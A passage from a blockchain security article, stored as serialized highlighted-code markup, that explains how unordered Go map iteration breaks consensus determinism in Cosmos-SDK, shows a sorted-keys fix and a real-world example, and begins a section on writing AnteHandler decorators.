sdk",{"type":24,"tag":83,"props":77162,"children":77163},{"style":107},[77164],{"type":29,"value":161},{"type":24,"tag":83,"props":77166,"children":77167},{"style":101},[77168],{"type":29,"value":77169},"NewEvent",{"type":24,"tag":83,"props":77171,"children":77172},{"style":107},[77173],{"type":29,"value":3208},{"type":24,"tag":83,"props":77175,"children":77176},{"class":85,"line":256},[77177,77182],{"type":24,"tag":83,"props":77178,"children":77179},{"style":187},[77180],{"type":29,"value":77181},"                \"MapContext\"",{"type":24,"tag":83,"props":77183,"children":77184},{"style":107},[77185],{"type":29,"value":989},{"type":24,"tag":83,"props":77187,"children":77188},{"class":85,"line":270},[77189,77194,77198,77203,77207,77211,77215,77219],{"type":24,"tag":83,"props":77190,"children":77191},{"style":137},[77192],{"type":29,"value":77193},"                sdk",{"type":24,"tag":83,"props":77195,"children":77196},{"style":107},[77197],{"type":29,"value":161},{"type":24,"tag":83,"props":77199,"children":77200},{"style":101},[77201],{"type":29,"value":77202},"NewAttribute",{"type":24,"tag":83,"props":77204,"children":77205},{"style":107},[77206],{"type":29,"value":558},{"type":24,"tag":83,"props":77208,"children":77209},{"style":137},[77210],{"type":29,"value":71871},{"type":24,"tag":83,"props":77212,"children":77213},{"style":107},[77214],{"type":29,"value":568},{"type":24,"tag":83,"props":77216,"children":77217},{"style":137},[77218],{"type":29,"value":38870},{"type":24,"tag":83,"props":77220,"children":77221},{"style":107},[77222],{"type":29,"value":6483},{"type":24,"tag":83,"props":77224,"children":77225},{"class":85,"line":302},[77226],{"type":24,"tag":83,"props":77227,"children":77228},{"style":107},[77229],{"type":29,"value":77230},"            )\n",{"type":24,"tag":83,"props":77232,"children":77233},{"class":85,"line":324},[77234],{"type":24,"tag":83,"props":77235,"children":77236},{"style":107},[77237],{"type":29,"value":68036},{"type":24,"tag":83,"props":77239,"children":77240},{"class":85,"line":345},[77241],{"type":24,"tag":83,"props":77242,"children":77243},{"style":107},[77244],{"type":29,"value":446},{"type":24,"tag":83,"props":77246,"children":77247},{"class":85,"line":358},[77248],{"type":24,"tag":83,"props":77249,"children":77250},{"style":107},[77251],{"type":29,"value":464},{"type":24,"tag":25,"props":77253,"children":77254},{},[77255],{"type":29,"value":77256},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":2677,"props":77258,"children":77259},{},[77260],{"type":24,"tag":25,"props":77261,"children":77262},{},[77263],{"type":29,"value":77264},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":25,"props":77266,"children":77267},{},[77268,77270,77275],{"type":29,"value":77269},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":32,"props":77271,"children":77273},{"className":77272},[],[77274],{"type":29,"value":66817},{"type":29,"value":77276}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":73,"props":77278,"children":77280},{"code":77279,"language":75879,"meta":7,"className":75880,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[77281],{"type":24,"tag":32,"props":77282,"children":77283},{"__ignoreMap":7},[77284,77315,77322,77349,77369,77396,77432,77439,77468,77475,77510,77537,77556,77567,77611,77618,77625,77632],{"type":24,"tag":83,"props":77285,"children":77286},{"class":85,"line":86},[77287,77291,77295,77299,77303,77307,77311],{"type":24,"tag":83,"props":77288,"children":77289},{"style":90},[77290],{"type":29,"value":32495},{"type":24,"tag":83,"props":77292,"children":77293},{"style":3163},[77294],{"type":29,"value":77029},{"type":24,"tag":83,"props":77296,"children":77297},{"style":90},[77298],{"type":29,"value":49385},{"type":24,"tag":83,"props":77300,"children":77301},{"style":107},[77302],{"type":29,"value":1161},{"type":24,"tag":83,"props":77304,"children":77305},{"style":3163},[77306],{"type":29,"value":29418},{"type":24,"tag":83,"props":77308,"children":77309},{"style":107},[77310],{"type":29,"value":15151},{"type":24,"tag":83,"props":77312,"children":77313},{"style":3163},[77314],{"type":29,"value":77050},{"type":24,"tag":83,"props":77316,"children":77317},{"class":85,"line":113},[77318],{"type":24,"tag":83,"props":77319,"children":77320},{"emptyLinePlaceholder":16},[77321],{"type":29,"value":3422},{"type":24,"tag":83,"props":77323,"children":77324},{"class":85,"line":128},[77325,77329,77333,77337,77341,77345],{"type":24,"tag":83,"props":77326,"children":77327},{"style":90},[77328],{"type":29,"value":76015},{"type":24,"tag":83,"props":77330,"children":77331},{"style":101},[77332],{"type":29,"value":77069},{"type":24,"tag":83,"props":77334,"children":77335},{"style":107},[77336],{"type":29,"value":558},{"type":24,"tag":83,"props":77338,"children":77339},{"style":137},[77340],{"type":29,"value":77078},{"type":24,"tag":83,"props":77342,"children":77343},{"style":3163},[77344],{"type":29,"value":77029},{"type":24,"tag":83,"props":77346,"children":77347},{"style":107},[77348],{"type":29,"value":253},{"type":24,"tag":83,"props":77350,"children":77351},{"class":85,"line":183},[77352,77357,77361,77365],{"type":24,"tag":83,"props":77353,"children":77354},{"style":90},[77355],{"type":29,"value":77356},"    var",{"type":24,"tag":83,"props":77358,"children":77359},{"style":137},[77360],{"type":29,"value":21120},{"type":24,"tag":83,"props":77362,"children":77363},{"style":107},[77364],{"type":29,"value":75942},{"type":24,"tag":83,"props":77366,"children":77367},{"style":3163},[77368],{"type":29,"value":77050},{"type":24,"tag":83,"props":77370,"children":77371},{"class":85,"line":203},[77372,77376,77380,77384,77388,77392],{"type":24,"tag":83,"props":77373,"children":77374},{"style":117},[77375],{"type":29,"value":2777},{"type":24,"tag":83,"props":77377,"children":77378},{"style":137},[77379],{"type":29,"value":5677},{"type":24,"tag":83,"props":77381,"children":77382},{"style":143},[77383],{"type":29,"value":76131},{"type":24,"tag":83,"props":77385,"children":77386},{"style":117},[77387],{"type":29,"value":77114},{"type":24,"tag":83,"props":77389,"children":77390},{"style":137},[77391],{"type":29,"value":77119},{"type":24,"tag":83,"props":77393,"children":77394},{"style":107},[77395],{"type":29,"value":125},{"type":24,"tag":83,"props":77397,"children":77398},{"class":85,"line":212},[77399,77403,77407,77412,77416,77420,77424,77428],{"type":24,"tag":83,"props":77400,"children":77401},{"style":137},[77402],{"type":29,"value":25082},{"type":24,"tag":83,"props":77404,"children":77405},{"style":143},[77406],{"type":29,"value":146},{"type":24,"tag":83,"props":77408,"children":77409},{"style":101},[77410],{"type":29,"value":77411}," append",{"type":24,"tag":83,"props":77413,"children":77414},{"style":107},[77415],{"type":29,"value":558},{"type":24,"tag":83,"props":77417,"children":77418},{"style":137},[77419],{"type":29,"value":20723},{"type":24,"tag":83,"props":77421,"children":77422},{"style":107},[77423],{"type":29,"value":568},{"type":24,"tag":83,"props":77425,"children":77426},{"style":137},[77427],{"type":29,"value":71871},{"type":24,"tag":83,"props":77429,"children":77430},{"style":107},[77431],{"type":29,"value":2905},{"type":24,"tag":83,"props":77433,"children":77434},{"class":85,"line":256},[77435],{"type":24,"tag":83,"props":77436,"children":77437},{"style":107},[77438],{"type":29,"value":446},{"type":24,"tag":83,"props":77440,"children":77441},{"class":85,"line":270},[77442,77447,77451,77456,77460,77464],{"type":24,"tag":83,"props":77443,"children":77444},{"style":137},[77445],{"type":29,"value":77446},"    sort",{"type":24,"tag":83,"props":77448,"children":77449},{"style":107},[77450],{"type":29,"value":161},{"type":24,"tag":83,"props":77452,"children":77453},{"style":101},[77454],{"type":29,"value":77455},"Strings",{"type":24,"tag":83,"props":77457,"children":77458},{"style":107},[77459],{"type":29,"value":558},{"type":24,"tag":83,"props":77461,"children":77462},{"style":137},[77463],{"type":29,"value":20723},{"type":24,"tag":83,"props":77465,"children":77466},{"style":107},[77467],{"type":29,"value":2905},{"type":24,"tag":83,"props":77469,"children":77470},{"class":85,"line":302},[77471],{"type":24,"tag":83,"props":77472,"children":77473},{"emptyLinePlaceholder":16},[77474],{"type":29,"value":3422},{"type":24,"tag":83,"props":77476,"children":77477},{"class":85,"line":324},[77478,77482,77486,77490,77494,77498,77502,77506],{"type":24,"tag":83,"props":77479,"children":77480},{"style":117},[77481],{"type":29,"value":2777},{"type":24,"tag":83,"props":77483,"children":77484},{"style":137},[77485],{"type":29,"value":2782},{"type":24,"tag":83,"props":77487,"children":77488},{"style":107},[77489],{"type":29,"value":568},{"type":24,"tag":83,"props":77491,"children":77492},{"style":137},[77493],{"type":29,"value":71871},{"type":24,"tag":83,"props":77495,"children":77496},{"style":143},[77497],{"type":29,"value":76131},{"type":24,"tag":83,"props":77499,"children":77500},{"style":117},[77501],{"type":29,"value":77114},{"type":24,"tag":83,"props":77503,"children":77504},{"style":137},[77505],{"type":29,"value":21120},{"type":24,"tag":83,"props":77507,"children":77508},{"style":107},[77509],{"type":29,"value":125},{"type":24,"tag":83,"props":77511,"children":77512},{"class":85,"line":345},[77513,77517,77521,77525,77529,77533],{"type":24,"tag":83,"props":77514,"children":77515},{"style":137},[77516],{"type":29,"value":25935},{"type":24,"tag":83,"props":77518,"children":77519},{"style":107},[77520],{"type":29,"value":161},{"type":24,"tag":83,"props":77522,"children":77523},{"style":137},[77524],{"type":29,"value":77139},{"type":24,"tag":83,"props":77526,"children":77527},{"style":107},[77528],{"type":29,"value":161},{"type":24,"tag":83,"props":77530,"children":77531},{"style":101},[77532],{"type":29,"value":77148},{"type":24,"tag":83,"props":77534,"children":77535},{"style":107},[77536],{"type":29,"value":3208},{"type":24,"tag":83,"props":77538,"children":77539},{"class":85,"line":358},[77540,77544,77548,77552],{"type":24,"tag":83,"props":77541,"children":77542},{"style":137},[77543],{"type":29,"value":77160},{"type":24,"tag":83,"props":77545,"children":77546},{"style":107},[77547],{"type":29,"value":161},{"type":24,"tag":83,"props":77549,"children":77550},{"style":101},[77551],{"type":29,"value":77169},{"type":24,"tag":83,"props":77553,"children":77554},{"style":107},[77555],{"type":29,"value":3208},{"type":24,"tag":83,"props":77557,"children":77558},{"class":85,"line":367},[77559,77563],{"type":24,"tag":83,"props":77560,"children":77561},{"style":187},[77562],{"type":29,"value":77181},{"type":24,"tag":83,"props":77564,"children":77565},{"style":107},[77566],{"type":29,"value":989},{"type":24,"tag":83,"props":77568,"children":77569},{"class":85,"line":406},[77570,77574,77578,77582,77586,77590,77594,77598,77602,77606],{"type":24,"tag":83,"props":77571,"children":77572},{"style":137},[77573],{"type":29,"value":77193},{"type":24,"tag":83,"props":77575,"children":77576},{"style":107},[77577],{"type":29,"value":161},{"type":24,"tag":83,"props":77579,"children":77580},{"style":101},[77581],{"type":29,"value":77202},{"type":24,"tag":83,"props":77583,"children":77584},{"style":107},[77585],{"type":29,"value":558},{"type":24,"tag":83,"props":77587,"children":77588},{"style":137},[77589],{"type":29,"value":71871},{"type":24,"tag":83,"props":77591,"children":77592},{"style":107},[77593],{"type":29,"value":568},{"type":24,"tag":83,"props":77595,"children":77596},{"style":137},[77597],{"type":29,"value":77078},{"type":24,"tag":83,"props":77599,"children":77600},{"style":107},[77601],{"type":29,"value":1161},{"type":24,"tag":83,"props":77603,"children":77604},{"style":137},[77605],{"type":29,"value":71871},{"type":24,"tag":83,"props":77607,"children":77608},{"style":107},[77609],{"type":29,"value":77610},"]),\n",{"type":24,"tag":83,"props":77612,"children":77613},{"class":85,"line":427},[77614],{"type":24,"tag":83,"props":77615,"children":77616},{"style":107},[77617],{"type":29,"value":77230},{"type":24,"tag":83,"props":77619,"children":77620},{"class":85,"line":440},[77621],{"type":24,"tag":83,"props":77622,"children":77623},{"style":107},[77624],{"type":29,"value":68036},{"type":24,"tag":83,"props":77626,"children":77627},{"class":85,"line":449},[77628],{"type":24,"tag":83,"props":77629,"children":77630},{"style":107},[77631],{"type":29,"value":446},{"type":24,"tag":83,"props":77633,"children":77634},{"class":85,"line":458},[77635],{"type":24,"tag":83,"props":77636,"children":77637},{"style":107},[77638],{"type":29,"value":464},{"type":24,"tag":25,"props":77640,"children":77641},{},[77642],{"type":29,"value":77643},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":1818,"props":77645,"children":77647},{"id":77646},"real-world-examples-1",[77648],{"type":29,"value":76404},{"type":24,"tag":25,"props":77650,"children":77651},{},[77652,77654,77659,77661,77667,77669,77675,77677,77683],{"type":29,"value":77653},"Real-world examples of ",{"type":24,"tag":32,"props":77655,"children":77657},{"className":77656},[],[77658],{"type":29,"value":66817},{"type":29,"value":77660}," causing determinism problems can be found ",{"type":24,"tag":2033,"props":77662,"children":77665},{"href":77663,"rel":77664},"https://github.com/cosmos/cosmos-sdk/pull/12487",[2037],[77666],{"type":29,"value":47303},{"type":29,"value":77668},", specifically, where the result of ",{"type":24,"tag":32,"props":77670,"children":77672},{"className":77671},[],[77673],{"type":29,"value":77674},"buildCommitInfo",{"type":29,"value":77676}," is inconsistent due to iteration over the ",{"type":24,"tag":32,"props":77678,"children":77680},{"className":77679},[],[77681],{"type":29,"value":77682},"rs.stores",{"type":29,"value":77684}," map.",{"type":24,"tag":25,"props":77686,"children":77687},{},[77688],{"type":24,"tag":2033,"props":77689,"children":77692},{"href":77690,"rel":77691},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[2037],[77693],{"type":29,"value":76454},{"type":24,"tag":73,"props":77695,"children":77697},{"code":77696,"language":75879,"meta":7,"className":75880,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[77698],{"type":24,"tag":32,"props":77699,"children":77700},{"__ignoreMap":7},[77701,77738,77751,77779,77813,77858,77904,77912,77919,77964,77994,78023,78030,78037,78064,78086,78106,78113],{"type":24,"tag":83,"props":77702,"children":77703},{"class":85,"line":86},[77704,77708,77712,77717,77721,77726,77730,77734],{"type":24,"tag":83,"props":77705,"children":77706},{"style":90},[77707],{"type":29,"value":76015},{"type":24,"tag":83,"props":77709,"children":77710},{"style":107},[77711],{"type":29,"value":223},{"type":24,"tag":83,"props":77713,"children":77714},{"style":137},[77715],{"type":29,"value":77716},"rs ",{"type":24,"tag":83,"props":77718,"children":77719},{"style":143},[77720],{"type":29,"value":4315},{"type":24,"tag":83,"props":77722,"children":77723},{"style":3163},[77724],{"type":29,"value":77725},"Store",{"type":24,"tag":83,"props":77727,"children":77728},{"style":107},[77729],{"type":29,"value":633},{"type":24,"tag":83,"props":77731,"children":77732},{"style":101},[77733],{"type":29,"value":77674},{"type":24,"tag":83,"props":77735,"children":77736},{"style":107},[77737],{"type":29,"value":3208},{"type":24,"tag":83,"props":77739,"children":77740},{"class":85,"line":113},[77741,77746],{"type":24,"tag":83,"props":77742,"children":77743},{"style":137},[77744],{"type":29,"value":77745},"    version",{"type":24,"tag":83,"props":77747,"children":77748},{"style":3163},[77749],{"type":29,"value":77750}," int64\n",{"type":24,"tag":83,"props":77752,"children":77753},{"class":85,"line":128},[77754,77758,77762,77766,77770,77775],{"type":24,"tag":83,"props":77755,"children":77756},{"style":107},[77757],{"type":29,"value":633},{"type":24,"tag":83,"props":77759,"children":77760},{"style":143},[77761],{"type":29,"value":4315},{"type":24,"tag":83,"props":77763,"children":77764},{"style":3163},[77765],{"type":29,"value":5504},{"type":24,"tag":83,"props":77767,"children":77768},{"style":107},[77769],{"type":29,"value":161},{"type":24,"tag":83,"props":77771,"children":77772},{"style":3163},[77773],{"type":29,"value":77774},"CommitInfo",{"type":24,"tag":83,"props":77776,"children":77777},{"style":107},[77778],{"type":29,"value":125},{"type":24,"tag":83,"props":77780,"children":77781},{"class":85,"line":183},[77782,77787,77791,77795,77799,77803,77808],{"type":24,"tag":83,"props":77783,"children":77784},{"style":137},[77785],{"type":29,"value":77786},"    storeInfos",{"type":24,"tag":83,"props":77788,"children":77789},{"style":143},[77790],{"type":29,"value":76131},{"type":24,"tag":83,"props":77792,"children":77793},{"style":107},[77794],{"type":29,"value":75942},{"type":24,"tag":83,"props":77796,"children":77797},{"style":3163},[77798],{"type":29,"value":5504},{"type":24,"tag":83,"props":77800,"children":77801},{"style":107},[77802],{"type":29,"value":161},{"type":24,"tag":83,"props":77804,"children":77805},{"style":3163},[77806],{"type":29,"value":77807},"StoreInfo",{"type":24,"tag":83,"props":77809,"children":77810},{"style":107},[77811],{"type":29,"value":77812},"{}\n",{"type":24,"tag":83,"props":77814,"children":77815},{"class":85,"line":203},[77816,77820,77824,77828,77832,77836,77840,77845,77849,77854],{"type":24,"tag":83,"props":77817,"children":77818},{"style":117},[77819],{"type":29,"value":2777},{"type":24,"tag":83,"props":77821,"children":77822},{"style":137},[77823],{"type":29,"value":5677},{"type":24,"tag":83,"props":77825,"children":77826},{"style":107},[77827],{"type":29,"value":568},{"type":24,"tag":83,"props":77829,"children":77830},{"style":137},[77831],{"type":29,"value":5686},{"type":24,"tag":83,"props":77833,"children":77834},{"style":143},[77835],{"type":29,"value":76131},{"type":24,"tag":83,"props":77837,"children":77838},{"style":117},[77839],{"type":29,"value":77114},{"type":24,"tag":83,"props":77841,"children":77842},{"style":137},[77843],{"type":29,"value":77844}," rs",{"type":24,"tag":83,"props":77846,"children":77847},{"style":107},[77848],{"type":29,"value":161},{"type":24,"tag":83,"props":77850,"children":77851},{"style":137},[77852],{"type":29,"value":77853},"stores",{"type":24,"tag":83,"props":77855,"children":77856},{"style":107},[77857],{"type":29,"value":125},{"type":24,"tag":83,"props":77859,"children":77860},{"class":85,"line":212},[77861,77865,77869,77873,77878,77882,77886,77891,77895,77900],{"type":24,"tag":83,"props":77862,"children":77863},{"style":117},[77864],{"type":29,"value":3018},{"type":24,"tag":83,"props":77866,"children":77867},{"style":137},[77868],{"type":29,"value":5577},{"type":24,"tag":83,"props":77870,"children":77871},{"style":107},[77872],{"type":29,"value":161},{"type":24,"tag":83,"props":77874,"children":77875},{"style":101},[77876],{"type":29,"value":77877},"GetStoreType",{"type":24,"tag":83,"props":77879,"children":77880},{"style":107},[77881],{"type":29,"value":13788},{"type":24,"tag":83,"props":77883,"children":77884},{"style":143},[77885],{"type":29,"value":8320},{"type":24,"tag":83,"props":77887,"children":77888},{"style":137},[77889],{"type":29,"value":77890}," types",{"type":24,"tag":83,"props":77892,"children":77893},{"style":107},[77894],{"type":29,"value":161},{"type":24,"tag":83,"props":77896,"children":77897},{"style":137},[77898],{"type":29,"value":77899},"StoreTypeTransient",{"type":24,"tag":83,"props":77901,"children":77902},{"style":107},[77903],{"type":29,"value":125},{"type":24,"tag":83,"props":77905,"children":77906},{"class":85,"line":256},[77907],{"type":24,"tag":83,"props":77908,"children":77909},{"style":117},[77910],{"type":29,"value":77911},"            continue\n",{"type":24,"tag":83,"props":77913,"children":77914},{"class":85,"line":270},[77915],{"type":24,"tag":83,"props":77916,"children":77917},{"style":107},[77918],{"type":29,"value":3092},{"type":24,"tag":83,"props":77920,"children":77921},{"class":85,"line":302},[77922,77927,77931,77935,77939,77944,77948,77952,77956,77960],{"type":24,"tag":83,"props":77923,"children":77924},{"style":137},[77925],{"type":29,"value":77926},"        storeInfos",{"type":24,"tag":83,"props":77928,"children":77929},{"style":143},[77930],{"type":29,"value":146},{"type":24,"tag":83,"props":77932,"children":77933},{"style":101},[77934],{"type":29,"value":77411},{"type":24,"tag":83,"props":77936,"children":77937},{"style":107},[77938],{"type":29,"value":558},{"type":24,"tag":83,"props":77940,"children":77941},{"style":137},[77942],{"type":29,"value":77943},"storeInfos",{"type":24,"tag":83,"props":77945,"children":77946},{"style":107},[77947],{"type":29,"value":568},{"type":24,"tag":83,"props":77949,"children":77950},{"style":3163},[77951],{"type":29,"value":5504},{"type":24,"tag":83,"props":77953,"children":77954},{"style":107},[77955],{"type":29,"value":161},{"type":24,"tag":83,"props":77957,"children":77958},{"style":3163},[77959],{"type":29,"value":77807},{"type":24,"tag":83,"props":77961,"children":77962},{"style":107},[77963],{"type":29,"value":10628},{"type":24,"tag":83,"props":77965,"children":77966},{"class":85,"line":324},[77967,77972,77977,77981,77985,77990],{"type":24,"tag":83,"props":77968,"children":77969},{"style":137},[77970],{"type":29,"value":77971},"            Name",{"type":24,"tag":83,"props":77973,"children":77974},{"style":107},[77975],{"type":29,"value":77976},":     ",{"type":24,"tag":83,"props":77978,"children":77979},{"style":137},[77980],{"type":29,"value":71871},{"type":24,"tag":83,"props":77982,"children":77983},{"style":107},[77984],{"type":29,"value":161},{"type":24,"tag":83,"props":77986,"children":77987},{"style":101},[77988],{"type":29,"value":77989},"Name",{"type":24,"tag":83,"props":77991,"children":77992},{"style":107},[77993],{"type":29,"value":3236},{"type":24,"tag":83,"props":77995,"children":77996},{"class":85,"line":345},[77997,78002,78006,78010,78014,78019],{"type":24,"tag":83,"props":77998,"children":77999},{"style":137},[78000],{"type":29,"value":78001},"            CommitId",{"type":24,"tag":83,"props":78003,"children":78004},{"style":107},[78005],{"type":29,"value":1920},{"type":24,"tag":83,"props":78007,"children":78008},{"style":137},[78009],{"type":29,"value":5686},{"type":24,"tag":83,"props":78011,"children":78012},{"style":107},[78013],{"type":29,"value":161},{"type":24,"tag":83,"props":78015,"children":78016},{"style":101},[78017],{"type":29,"value":78018},"LastCommitID",{"type":24,"tag":83,"props":78020,"children":78021},{"style":107},[78022],{"type":29,"value":3236},{"type":24,"tag":83,"props":78024,"children":78025},{"class":85,"line":358},[78026],{"type":24,"tag":83,"props":78027,"children":78028},{"style":107},[78029],{"type":29,"value":67913},{"type":24,"tag":83,"props":78031,"children":78032},{"class":85,"line":367},[78033],{"type":24,"tag":83,"props":78034,"children":78035},{"style":107},[78036],{"type":29,"value":446},{"type":24,"tag":83,"props":78038,"children":78039},{"class":85,"line":406},[78040,78044,78048,78052,78056,78060],{"type":24,"tag":83,"props":78041,"children":78042},{"style":117},[78043],{"type":29,"value":16725},{"type":24,"tag":83,"props":78045,"children":78046},{"style":143},[78047],{"type":29,"value":6888},{"type":24,"tag":83,"props":78049,"children":78050},{"style":3163},[78051],{"type":29,"value":5504},{"type":24,"tag":83,"props":78053,"children":78054},{"style":107},[78055],{"type":29,"value":161},{"type":24,"tag":83,"props":78057,"children":78058},{"style":3163},[78059],{"type":29,"value":77774},{"type":24,"tag":83,"props":78061,"children":78062},{"style":107},[78063],{"type":29,"value":10628},{"type":24,"tag":83,"props":78065,"children":78066},{"class":85,"line":427},[78067,78072,78077,78082],{"type":24,"tag":83,"props":78068,"children":78069},{"style":137},[78070],{"type":29,"value":78071},"        Version",{"type":24,"tag":83,"props":78073,"children":78074},{"style":107},[78075],{"type":29,"value":78076},":    ",{"type":24,"tag":83,"props":78078,"children":78079},{"style":137},[78080],{"type":29,"value":78081},"version",{"type":24,"tag":83,"props":78083,"children":78084},{"style":107},[78085],{"type":29,"value":989},{"type":24,"tag":83,"props":78087,"children":78088},{"class":85,"line":440},[78089,78094,78098,78102],{"type":24,"tag":83,"props":78090,"children":78091},{"style":137},[78092],{"type":29,"value":78093},"        StoreInfos",{"type":24,"tag":83,"props":78095,"children":78096},{"style":107},[78097],{"type":29,"value":1920},{"type":24,"tag":83,"props":78099,"children":78100},{"style":137},[78101],{"type":29,"value":77943},{"type":24,"tag":83,"props":78103,"children":78104},{"style":107},[78105],{"type":29,"value":989},{"type":24,"tag":83,"props":78107,"children":78108},{"class":85,"line":449},[78109],{"type":24,"tag":83,"props":78110,"children":78111},{"style":107},[78112],{"type":29,"value":446},{"type":24,"tag":83,"props":78114,"children":78115},{"class":85,"line":458},[78116],{"type":24,"tag":83,"props":78117,"children":78118},{"style":107},[78119],{"type":29,"value":464},{"type":24,"tag":25,"props":78121,"children":78122},{},[78123,78125,78132,78133,78140],{"type":29,"value":78124},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":2033,"props":78126,"children":78129},{"href":78127,"rel":78128},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[2037],[78130],{"type":29,"value":78131},"time-sensitive functions",{"type":29,"value":2287},{"type":24,"tag":2033,"props":78134,"children":78137},{"href":78135,"rel":78136},"https://github.com/cosmos/cosmos-sdk/issues/16638",[2037],[78138],{"type":29,"value":78139},"race conditions",{"type":29,"value":161},{"type":24,"tag":51,"props":78142,"children":78144},{"id":78143},"thou-shalt-not-passor-should-you",[78145],{"type":29,"value":78146},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":25,"props":78148,"children":78149},{},[78150,78152,78158,78159,78165],{"type":29,"value":78151},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":32,"props":78153,"children":78155},{"className":78154},[],[78156],{"type":29,"value":78157},"msg.value",{"type":29,"value":568},{"type":24,"tag":32,"props":78160,"children":78162},{"className":78161},[],[78163],{"type":29,"value":78164},"msg.sender",{"type":29,"value":78166},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":25,"props":78168,"children":78169},{},[78170,78172,78178,78180,78186],{"type":29,"value":78171},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":32,"props":78173,"children":78175},{"className":78174},[],[78176],{"type":29,"value":78177},"Cosmos-SDK",{"type":29,"value":78179}," introduces ",{"type":24,"tag":32,"props":78181,"children":78183},{"className":78182},[],[78184],{"type":29,"value":78185},"AnteHandler",{"type":29,"value":78187}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":25,"props":78189,"children":78190},{},[78191,78193,78198,78200,78205],{"type":29,"value":78192},"To provide context, let's first understand how an ",{"type":24,"tag":32,"props":78194,"children":78196},{"className":78195},[],[78197],{"type":29,"value":78185},{"type":29,"value":78199}," is processed. Each ",{"type":24,"tag":32,"props":78201,"children":78203},{"className":78202},[],[78204],{"type":29,"value":78185},{"type":29,"value":78206}," is a state transition function that can:",{"type":24,"tag":63,"props":78208,"children":78209},{},[78210,78215],{"type":24,"tag":67,"props":78211,"children":78212},{},[78213],{"type":29,"value":78214},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":67,"props":78216,"children":78217},{},[78218,78220],{"type":29,"value":78219},"Determine the course of action for the transaction.\n",{"type":24,"tag":63,"props":78221,"children":78222},{},[78223,78234],{"type":24,"tag":67,"props":78224,"children":78225},{},[78226,78228,78233],{"type":29,"value":78227},"Pass the transaction to the next ",{"type":24,"tag":32,"props":78229,"children":78231},{"className":78230},[],[78232],{"type":29,"value":78185},{"type":29,"value":161},{"type":24,"tag":67,"props":78235,"children":78236},{},[78237],{"type":29,"value":78238},"Return error for transaction.",{"type":24,"tag":25,"props":78240,"children":78241},{},[78242,78244,78249],{"type":29,"value":78243},"The bad news is that developing an ",{"type":24,"tag":32,"props":78245,"children":78247},{"className":78246},[],[78248],{"type":29,"value":78185},{"type":29,"value":78250}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":25,"props":78252,"children":78253},{},[78254,78255,78261],{"type":29,"value":16348},{"type":24,"tag":32,"props":78256,"children":78258},{"className":78257},[],[78259],{"type":29,"value":78260},"AnteHandle",{"type":29,"value":78262}," implementation may look something like this:",{"type":24,"tag":73,"props":78264,"children":78266},{"code":78265,"language":75879,"meta":7,"className":75880,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[78267],{"type":24,"tag":32,"props":78268,"children":78269},{"__ignoreMap":7},[78270,78281,78297,78304,78311,78344,78368,78393,78409,78433,78465,78513,78532,78565,78586,78598,78605,78612,78619,78649,78685,78749,78783,78815,78827,78839,78846,78853,78860,78867,78909],{"type":24,"tag":83,"props":78271,"children":78272},{"class":85,"line":86},[78273,78277],{"type":24,"tag":83,"props":78274,"children":78275},{"style":90},[78276],{"type":29,"value":9401},{"type":24,"tag":83,"props":78278,"children":78279},{"style":107},[78280],{"type":29,"value":1337},{"type":24,"tag":83,"props":78282,"children":78283},{"class":85,"line":113},[78284,78289,78293],{"type":24,"tag":83,"props":78285,"children":78286},{"style":137},[78287],{"type":29,"value":78288},"    